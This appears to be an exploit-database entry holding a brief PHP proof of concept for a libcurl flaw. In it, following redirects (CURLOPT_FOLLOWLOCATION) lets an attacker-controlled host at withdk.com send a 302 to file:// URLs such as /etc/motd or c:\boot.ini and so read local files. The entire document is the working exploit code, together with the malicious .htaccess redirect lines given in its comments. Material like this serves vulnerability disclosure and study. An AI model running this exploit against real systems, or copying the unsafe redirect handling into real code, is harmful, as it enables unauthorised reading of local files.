## https://sploitus.com/exploit?id=SSV:4867
<?php
// This is an example of a vulnerable peice of PHP code
// If libcurl uses CURLOPT_FOLLOWLOCATION it could lead
// to arbitrary file access.
// The malicious redirect on withdk.com looks like this
// in .htaccess:
// # for Linux
// redirect 302 /test file:///etc/motd
// # for Win32
// redirect 302 /test file:///c:\boot.ini
// print_r ( curl_version() );
$c = new cc;
$c->fetch('http://withdk.com/malicious-redirect');
class cc {
function fetch($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_URL, $url);
$result1 = curl_exec($ch);
echo $result1;
curl_close($ch);
}
}
?>